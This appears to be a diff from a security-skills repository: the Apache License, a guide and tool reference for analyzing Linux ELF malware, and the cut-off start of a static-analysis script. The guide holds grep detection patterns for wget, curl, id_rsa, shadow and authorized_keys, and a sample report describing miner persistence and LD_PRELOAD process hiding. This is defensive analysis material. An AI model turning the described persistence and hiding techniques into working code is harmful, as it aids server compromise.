help="Minimum allocation size in bytes to flag (default: 1MB)")
|
||||
args = parser.parse_args()
|
||||
|
||||
os.makedirs(args.output_dir, exist_ok=True)
|
||||
analyzer = HeapSprayAnalyzer(args.memory_dump, output_dir=args.output_dir)
|
||||
analyzer.generate_report()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,370 @@
|
||||
---
|
||||
name: analyzing-linux-elf-malware
|
||||
description: 'Analyze malicious Linux ELF binaries — botnets, cryptominers, ransomware,
|
||||
and rootkits targeting Linux servers, containers, and cloud infrastructure — through
|
||||
static analysis, dynamic tracing, and reverse engineering of x86_64 and ARM samples.
|
||||
Use when investigating Linux malware, triaging a suspicious ELF binary, assessing
|
||||
a compromised Linux server, or analyzing container-targeted malware.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- Linux
|
||||
- ELF
|
||||
- reverse-engineering
|
||||
- server-malware
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1027
|
||||
- T1059.004
|
||||
- T1620
|
||||
- T1574.006
|
||||
mitre_f3:
|
||||
version: '1.1'
|
||||
tactics:
|
||||
- positioning
|
||||
- monetization
|
||||
- reconnaissance
|
||||
techniques:
|
||||
- id: T1219
|
||||
name: Remote Access Tools
|
||||
tactic: positioning
|
||||
source: attack
|
||||
- id: T1555
|
||||
name: Credentials from Password Stores
|
||||
tactic: reconnaissance
|
||||
source: attack
|
||||
- id: F1018
|
||||
name: Convert to Cryptocurrency
|
||||
tactic: monetization
|
||||
source: f3
|
||||
- id: F1047
|
||||
name: Transfer of funds
|
||||
tactic: monetization
|
||||
source: f3
|
||||
---
|
||||
|
||||
# Analyzing Linux ELF Malware
|
||||
|
||||
## When to Use
|
||||
|
||||
- A Linux server or container has been compromised and suspicious ELF binaries are found
|
||||
- Analyzing Linux botnets (Mirai, Gafgyt, XorDDoS), cryptominers, or ransomware
|
||||
- Investigating malware targeting cloud infrastructure, Docker containers, or Kubernetes pods
|
||||
- Reverse engineering Linux rootkits and kernel modules
|
||||
- Analyzing cross-platform malware compiled for Linux x86_64, ARM, or MIPS architectures
|
||||
|
||||
**Do not use** for Windows PE binary analysis; use PEStudio, Ghidra, or IDA for Windows malware.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Ghidra or IDA with Linux ELF support for disassembly and decompilation
|
||||
- Linux analysis VM (Ubuntu 22.04 recommended) with development tools installed
|
||||
- strace, ltrace, and GDB for dynamic analysis and debugging
|
||||
- readelf, objdump, and nm from GNU binutils for static inspection
|
||||
- Radare2 for quick binary triage and scripted analysis
|
||||
- Docker for isolated container-based malware execution
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Identify ELF Binary Properties
|
||||
|
||||
Examine the ELF header and basic properties:
|
||||
|
||||
```bash
|
||||
# File type identification
|
||||
file suspect_binary
|
||||
|
||||
# Detailed ELF header analysis
|
||||
readelf -h suspect_binary
|
||||
|
||||
# Section headers
|
||||
readelf -S suspect_binary
|
||||
|
||||
# Program headers (segments)
|
||||
readelf -l suspect_binary
|
||||
|
||||
# Symbol table (if not stripped)
|
||||
readelf -s suspect_binary
|
||||
nm suspect_binary 2>/dev/null
|
||||
|
||||
# Dynamic linking information
|
||||
readelf -d suspect_binary
|
||||
ldd suspect_binary 2>/dev/null # Only on matching architecture!
|
||||
|
||||
# Compute hashes
|
||||
md5sum suspect_binary
|
||||
sha256sum suspect_binary
|
||||
|
||||
# Check for packing/UPX
|
||||
upx -t suspect_binary
|
||||
```
|
||||
|
||||
```python
|
||||
# Python-based ELF analysis
|
||||
from elftools.elf.elffile import ELFFile
|
||||
import hashlib
|
||||
|
||||
with open("suspect_binary", "rb") as f:
|
||||
data = f.read()
|
||||
sha256 = hashlib.sha256(data).hexdigest()
|
||||
|
||||
with open("suspect_binary", "rb") as f:
|
||||
elf = ELFFile(f)
|
||||
|
||||
print(f"SHA-256: {sha256}")
|
||||
print(f"Class: {elf.elfclass}-bit")
|
||||
print(f"Endian: {elf.little_endian and 'Little' or 'Big'}")
|
||||
print(f"Machine: {elf.header.e_machine}")
|
||||
print(f"Type: {elf.header.e_type}")
|
||||
print(f"Entry Point: 0x{elf.header.e_entry:X}")
|
||||
|
||||
# Check if stripped
|
||||
symtab = elf.get_section_by_name('.symtab')
|
||||
print(f"Stripped: {'Yes' if symtab is None else 'No'}")
|
||||
|
||||
# Section entropy analysis
|
||||
import math
|
||||
from collections import Counter
|
||||
for section in elf.iter_sections():
|
||||
data = section.data()
|
||||
if len(data) > 0:
|
||||
entropy = -sum((c/len(data)) * math.log2(c/len(data))
|
||||
for c in Counter(data).values() if c > 0)
|
||||
if entropy > 7.0:
|
||||
print(f" [!] High entropy section: {section.name} ({entropy:.2f})")
|
||||
```
|
||||
|
||||
### Step 2: Extract Strings and Indicators
|
||||
|
||||
Search for embedded IOCs and functionality clues:
|
||||
|
||||
```bash
|
||||
# ASCII strings
|
||||
strings suspect_binary > strings_output.txt
|
||||
|
||||
# Search for network indicators
|
||||
grep -iE "(http|https|ftp)://" strings_output.txt
|
||||
grep -iE "([0-9]{1,3}\.){3}[0-9]{1,3}" strings_output.txt
|
||||
grep -iE "[a-zA-Z0-9.-]+\.(com|net|org|io|ru|cn)" strings_output.txt
|
||||
|
||||
# Search for shell commands
|
||||
grep -iE "(bash|sh|wget|curl|chmod|/tmp/|/dev/)" strings_output.txt
|
||||
|
||||
# Search for crypto mining indicators
|
||||
grep -iE "(stratum|xmr|monero|pool\.|mining)" strings_output.txt
|
||||
|
||||
# Search for SSH/credential theft
|
||||
grep -iE "(ssh|authorized_keys|id_rsa|shadow|passwd)" strings_output.txt
|
||||
|
||||
# Search for persistence mechanisms
|
||||
grep -iE "(crontab|systemd|init\.d|rc\.local|ld\.so\.preload)" strings_output.txt
|
||||
|
||||
# FLOSS for obfuscated strings (if available)
|
||||
floss suspect_binary
|
||||
```
|
||||
|
||||
### Step 3: Analyze System Calls and Library Usage
|
||||
|
||||
Identify what system calls and libraries the malware uses:
|
||||
|
||||
```bash
|
||||
# List imported functions (dynamically linked)
|
||||
readelf -r suspect_binary | grep -E "socket|connect|exec|fork|open|write|bind|listen"
|
||||
|
||||
# Trace system calls during execution (in isolated VM only)
|
||||
strace -f -e trace=network,process,file -o strace_output.txt ./suspect_binary
|
||||
|
||||
# Trace library calls
|
||||
ltrace -f -o ltrace_output.txt ./suspect_binary
|
||||
|
||||
# Key system calls to watch:
|
||||
# Network: socket, connect, bind, listen, accept, sendto, recvfrom
|
||||
# Process: fork, execve, clone, kill, ptrace
|
||||
# File: open, read, write, unlink, rename, chmod
|
||||
# Persistence: inotify_add_watch (file monitoring)
|
||||
```
|
||||
|
||||
### Step 4: Dynamic Analysis with GDB
|
||||
|
||||
Debug the malware to observe runtime behavior:
|
||||
|
||||
```bash
|
||||
# Start GDB with the binary
|
||||
gdb ./suspect_binary
|
||||
|
||||
# Set breakpoints on key functions
|
||||
(gdb) break main
|
||||
(gdb) break socket
|
||||
(gdb) break connect
|
||||
(gdb) break execve
|
||||
(gdb) break fork
|
||||
|
||||
# Run and analyze
|
||||
(gdb) run
|
||||
(gdb) info registers # View register state
|
||||
(gdb) x/20s $rdi # Examine string argument
|
||||
(gdb) bt # Backtrace
|
||||
(gdb) continue
|
||||
|
||||
# For stripped binaries, break on entry point
|
||||
(gdb) break *0x400580 # Entry point from readelf
|
||||
(gdb) run
|
||||
|
||||
# Monitor network connections during execution
|
||||
# In another terminal:
|
||||
ss -tlnp # List listening sockets
|
||||
ss -tnp # List established connections
|
||||
```
|
||||
|
||||
### Step 5: Reverse Engineer with Ghidra
|
||||
|
||||
Perform deep code analysis on the ELF binary:
|
||||
|
||||
```
|
||||
Ghidra Analysis for Linux ELF:
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
1. Import: File -> Import -> Select ELF binary
|
||||
- Ghidra auto-detects ELF format and architecture
|
||||
- Accept default analysis options
|
||||
|
||||
2. Key analysis targets:
|
||||
- main() function (or entry point if stripped)
|
||||
- Socket creation and connection functions
|
||||
- Command dispatch logic (switch/case on received data)
|
||||
- Encryption/encoding routines
|
||||
- Persistence installation code
|
||||
- Self-propagation/scanning functions
|
||||
|
||||
3. For Mirai-like botnets, look for:
|
||||
- Credential list for brute-forcing (telnet/SSH)
|
||||
- Attack module selection (UDP flood, SYN flood, ACK flood)
|
||||
- Scanner module (port scanning for vulnerable devices)
|
||||
- Killer module (killing competing botnets)
|
||||
|
||||
4. For cryptominers, look for:
|
||||
- Mining pool connection (stratum protocol)
|
||||
- Wallet address strings
|
||||
- CPU/GPU utilization functions
|
||||
- Process hiding techniques
|
||||
```
|
||||
|
||||
### Step 6: Analyze Linux-Specific Persistence
|
||||
|
||||
Check for persistence mechanisms:
|
||||
|
||||
```bash
|
||||
# Check for LD_PRELOAD rootkit
|
||||
strings suspect_binary | grep "ld.so.preload"
|
||||
# Malware writing to /etc/ld.so.preload can hook all dynamic library calls
|
||||
|
||||
# Check for crontab persistence
|
||||
strings suspect_binary | grep -i "cron"
|
||||
|
||||
# Check for systemd service creation
|
||||
strings suspect_binary | grep -iE "systemd|\.service|systemctl"
|
||||
|
||||
# Check for init script creation
|
||||
strings suspect_binary | grep -iE "init\.d|rc\.local|update-rc"
|
||||
|
||||
# Check for SSH key injection
|
||||
strings suspect_binary | grep -i "authorized_keys"
|
||||
|
||||
# Check for kernel module (rootkit) loading
|
||||
strings suspect_binary | grep -iE "insmod|modprobe|init_module"
|
||||
|
||||
# Check for process hiding
|
||||
strings suspect_binary | grep -iE "proc|readdir|getdents"
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **ELF (Executable and Linkable Format)** | Standard binary format for Linux executables, shared libraries, and core dumps containing headers, sections, and segments |
|
||||
| **Stripped Binary** | ELF binary with debug symbols removed, making reverse engineering more difficult as function names are lost |
|
||||
| **LD_PRELOAD** | Linux environment variable specifying shared libraries to load before all others; abused by rootkits to intercept system library calls |
|
||||
| **strace** | Linux system call tracer that logs all system calls and signals made by a process, revealing file, network, and process operations |
|
||||
| **GOT/PLT** | Global Offset Table and Procedure Linkage Table; ELF structures for dynamic linking that can be hijacked for function hooking |
|
||||
| **Statically Linked** | Binary compiled with all library code included; common in IoT malware to run on systems without matching shared libraries |
|
||||
| **Mirai** | Prolific Linux botnet targeting IoT devices via telnet brute-force; source code leaked, leading to many variants |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Ghidra**: NSA reverse engineering tool with full ELF support for x86, x86_64, ARM, MIPS, and other Linux architectures
|
||||
- **Radare2**: Open-source reverse engineering framework with command-line interface for quick binary analysis and scripting
|
||||
- **strace**: Linux system call tracing tool for observing binary behavior including file, network, and process operations
|
||||
- **GDB**: GNU Debugger for setting breakpoints, examining memory, and stepping through Linux binary execution
|
||||
- **pyelftools**: Python library for parsing ELF files programmatically for automated analysis pipelines
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Analyzing a Cryptominer Found on a Compromised Linux Server
|
||||
|
||||
**Context**: A cloud server shows 100% CPU usage. Investigation reveals an unknown binary running from /tmp with a suspicious name. The binary needs analysis to confirm it is a cryptominer and identify the attacker's wallet and pool.
|
||||
|
||||
**Approach**:
|
||||
1. Copy the binary to an analysis VM and compute SHA-256 hash
|
||||
2. Run `file` and `readelf` to identify architecture and linking type
|
||||
3. Extract strings and search for mining pool addresses (stratum+tcp://) and wallet addresses
|
||||
4. Run with strace in a sandbox to observe network connections (mining pool connection)
|
||||
5. Import into Ghidra to identify the mining algorithm and configuration extraction
|
||||
6. Check for persistence mechanisms (crontab, systemd service, SSH keys)
|
||||
7. Document all IOCs including pool address, wallet, C2 for updates, and persistence artifacts
|
||||
|
||||
**Pitfalls**:
|
||||
- Running `ldd` on malware outside a sandbox (ldd can execute code in the binary)
|
||||
- Not checking for ARM/MIPS architecture before attempting x86_64 execution
|
||||
- Missing companion scripts (.sh files) that may handle persistence and cleanup
|
||||
- Ignoring the initial access vector (how the miner was deployed: SSH brute force, web exploit, container escape)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
LINUX ELF MALWARE ANALYSIS REPORT
|
||||
====================================
|
||||
File: /tmp/.X11-unix/.rsync
|
||||
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
|
||||
Type: ELF 64-bit LSB executable, x86-64
|
||||
Linking: Statically linked (all libraries embedded)
|
||||
Stripped: Yes
|
||||
Size: 2,847,232 bytes
|
||||
Packer: UPX 3.96 (unpacked for analysis)
|
||||
|
||||
CLASSIFICATION
|
||||
Family: XMRig Cryptominer (modified)
|
||||
Variant: Custom build with C2 update mechanism
|
||||
|
||||
FUNCTIONALITY
|
||||
[*] XMR (Monero) mining via RandomX algorithm
|
||||
[*] Stratum pool connection for work submission
|
||||
[*] C2 check-in for configuration updates
|
||||
[*] Process name masquerading (argv[0] = "[kworker/0:0]")
|
||||
[*] Competitor process killing (kills other miners)
|
||||
[*] SSH key injection for re-access
|
||||
|
||||
NETWORK INDICATORS
|
||||
Mining Pool: stratum+tcp://pool.minexmr[.]com:4444
|
||||
C2 Server: hxxp://update.malicious[.]com/config
|
||||
Wallet: 49jZ5Q3b...Monero_Wallet_Address...
|
||||
|
||||
PERSISTENCE
|
||||
[1] Crontab entry: */5 * * * * /tmp/.X11-unix/.rsync
|
||||
[2] SSH key added to /root/.ssh/authorized_keys
|
||||
[3] Systemd service: /etc/systemd/system/rsync-daemon.service
|
||||
[4] Modified /etc/ld.so.preload for process hiding
|
||||
|
||||
PROCESS HIDING
|
||||
LD_PRELOAD: /usr/lib/.libsystem.so
|
||||
Hook: readdir() to hide /tmp/.X11-unix/.rsync from ls
|
||||
Hook: fopen() to hide from /proc/*/maps reading
|
||||
```
|
||||
@@ -0,0 +1,119 @@
|
||||
# API Reference: Linux ELF Malware Analysis Tools
|
||||
|
||||
## readelf - ELF Binary Inspection
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
readelf -h <binary> # ELF header
|
||||
readelf -S <binary> # Section headers
|
||||
readelf -l <binary> # Program headers (segments)
|
||||
readelf -s <binary> # Symbol table
|
||||
readelf -d <binary> # Dynamic section
|
||||
readelf -r <binary> # Relocation entries
|
||||
readelf -n <binary> # Notes section
|
||||
```
|
||||
|
||||
### Key ELF Header Fields
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `Class` | 32-bit or 64-bit |
|
||||
| `Machine` | Architecture (x86-64, ARM, MIPS) |
|
||||
| `Type` | EXEC (executable), DYN (shared object) |
|
||||
| `Entry point` | Code execution start address |
|
||||
|
||||
## pyelftools - Python ELF Parsing
|
||||
|
||||
### Usage
|
||||
```python
|
||||
from elftools.elf.elffile import ELFFile
|
||||
|
||||
with open("binary", "rb") as f:
|
||||
elf = ELFFile(f)
|
||||
elf.elfclass # 32 or 64
|
||||
elf.little_endian # True/False
|
||||
elf.header.e_machine # Architecture
|
||||
elf.header.e_entry # Entry point
|
||||
elf.num_sections() # Section count
|
||||
elf.get_section_by_name(".symtab") # Symbol table
|
||||
```
|
||||
|
||||
## strings - String Extraction
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
strings <binary> # ASCII strings (default min 4)
|
||||
strings -n 8 <binary> # Minimum 8 characters
|
||||
strings -e l <binary> # 16-bit little-endian (Unicode)
|
||||
strings -t x <binary> # Print offset in hex
|
||||
```
|
||||
|
||||
## strace - System Call Tracing
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
strace -f ./binary # Follow forks
|
||||
strace -e trace=network ./binary # Network calls only
|
||||
strace -e trace=file ./binary # File operations only
|
||||
strace -e trace=process ./binary # Process operations
|
||||
strace -o output.txt ./binary # Log to file
|
||||
strace -c ./binary # Summary statistics
|
||||
```
|
||||
|
||||
### Key System Calls
|
||||
| Call | Category |
|
||||
|------|----------|
|
||||
| `socket`, `connect`, `bind` | Network |
|
||||
| `fork`, `execve`, `clone` | Process |
|
||||
| `open`, `read`, `write`, `unlink` | File I/O |
|
||||
| `ptrace` | Anti-debug/injection |
|
||||
|
||||
## ltrace - Library Call Tracing
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
ltrace -f ./binary # Follow child processes
|
||||
ltrace -e malloc+free ./binary # Specific functions
|
||||
ltrace -o output.txt ./binary # Log to file
|
||||
```
|
||||
|
||||
## GDB - GNU Debugger
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
gdb ./binary
|
||||
(gdb) break main
|
||||
(gdb) break *0x400580 # Break at address
|
||||
(gdb) run
|
||||
(gdb) info registers
|
||||
(gdb) x/20s $rdi # Examine string at RDI
|
||||
(gdb) x/10i $rip # Disassemble at RIP
|
||||
(gdb) bt # Backtrace
|
||||
```
|
||||
|
||||
## UPX - Packer Detection/Unpacking
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
upx -t <binary> # Test if packed
|
||||
upx -d <binary> # Decompress/unpack
|
||||
upx -l <binary> # List compression details
|
||||
```
|
||||
|
||||
## objdump - Disassembly
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
objdump -d <binary> # Disassemble .text
|
||||
objdump -D <binary> # Disassemble all sections
|
||||
objdump -M intel -d <binary> # Intel syntax
|
||||
objdump -t <binary> # Symbol table
|
||||
```
|
||||
|
||||
## nm - Symbol Listing
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
nm <binary> # List symbols
|
||||
nm -D <binary> # Dynamic symbols only
|
||||
nm -u <binary> # Undefined (imported) symbols
|
||||
```
|
||||
@@ -0,0 +1,230 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Linux ELF malware static analysis agent using pyelftools and binary inspection."""
|
||||
|
||||
import hashlib
|
||||
import math
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
from collections import Counter
|
||||
|
||||
try:
|
||||
from elftools.elf.elffile import ELFFile
|
||||
HAS_ELFTOOLS = True
|
||||
except ImportError:
|
||||
HAS_ELFTOOLS = False
|
||||
|
||||
|
||||
def compute_hashes(filepath):
|
||||
"""Compute MD5, SHA1, and SHA256 hashes of a file."""
|
||||
md5 = hashlib.md5()
|
||||
sha1 = hashlib.sha1()
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
md5.update(chunk)
|
||||
sha1.update(chunk)
|
||||
sha256.update(chunk)
|
||||
return {"md5": md5.hexdigest(), "sha1": sha1.hexdigest(), "sha256": sha256.hexdigest()}
|
||||
|
||||
|
||||
def calculate_entropy(data):
|
||||
"""Calculate Shannon entropy of binary data."""
|
||||
if not data:
|
||||
return 0.0
|
||||
counter = Counter(data)
|
||||
length = len(data)
|
||||
return -sum((c / length) * math.log2(c / length) for c in counter.values())
|
||||
|
||||
|
||||
def analyze_elf_header(filepath):
|
||||
"""Parse ELF header and extract key properties."""
|
||||
if not HAS_ELFTOOLS:
|
||||
return {"error": "pyelftools not installed: pip install pyelftools"}
|
||||
with open(filepath, "rb") as f:
|
||||
elf = ELFFile(f)
|
||||
symtab = elf.get_section_by_name(".symtab")
|
||||
info = {
|
||||
"class": f"{elf.elfclass}-bit",
|
||||
"endian": "Little" if elf.little_endian else "Big",
|
||||
"machine": elf.header.e_machine,
|
||||
"type": elf.header.e_type,
|
||||
"entry_point": f"0x{elf.header.e_entry:X}",
|
||||
"stripped": symtab is None,
|
||||
"num_sections": elf.num_sections(),
|
||||
"num_segments": elf.num_segments(),
|
||||
}
|
||||
return info
|
||||
|
||||
|
||||
def analyze_sections(filepath):
|
||||
"""Analyze ELF sections for entropy and suspicious characteristics."""
|
||||
if not HAS_ELFTOOLS:
|
||||
return []
|
||||
sections = []
|
||||
with open(filepath, "rb") as f:
|
||||
elf = ELFFile(f)
|
||||
for section in elf.iter_sections():
|
||||
data = section.data()
|
||||
if len(data) == 0:
|
||||
continue
|
||||
entropy = calculate_entropy(data)
|
||||
sections.append({
|
||||
"name": section.name,
|
||||
"type": section["sh_type"],
|
||||
"size": len(data),
|
||||
"entropy": round(entropy, 4),
|
||||
"high_entropy": entropy > 7.0,
|
||||
"flags": section["sh_flags"],
|
||||
})
|
||||
return sections
|
||||
|
||||
|
||||
def extract_strings(filepath, min_length=6):
|
||||
"""Extract ASCII strings from the binary and categorize by type."""
|
||||
stdout, _, rc = subprocess.run(
|
||||
["strings", "-n", str(min_length), filepath],
|
||||
capture_output=True, text=True, timeout=120
|
||||
).stdout, "", 0
|
||||
if not stdout:
|
||||
return {}
|
||||
all_strings = stdout.strip().splitlines()
|
||||
categorized = {
|
||||
"urls": [], "ips": [], "domains": [], "shell_commands": [],
|
||||
"crypto_mining": [], "persistence": [], "ssh_related": [],
|
||||
"total": len(all_strings),
|
||||
}
|
||||
for s in all_strings:
|
||||
s_lower = s.lower()
|
||||
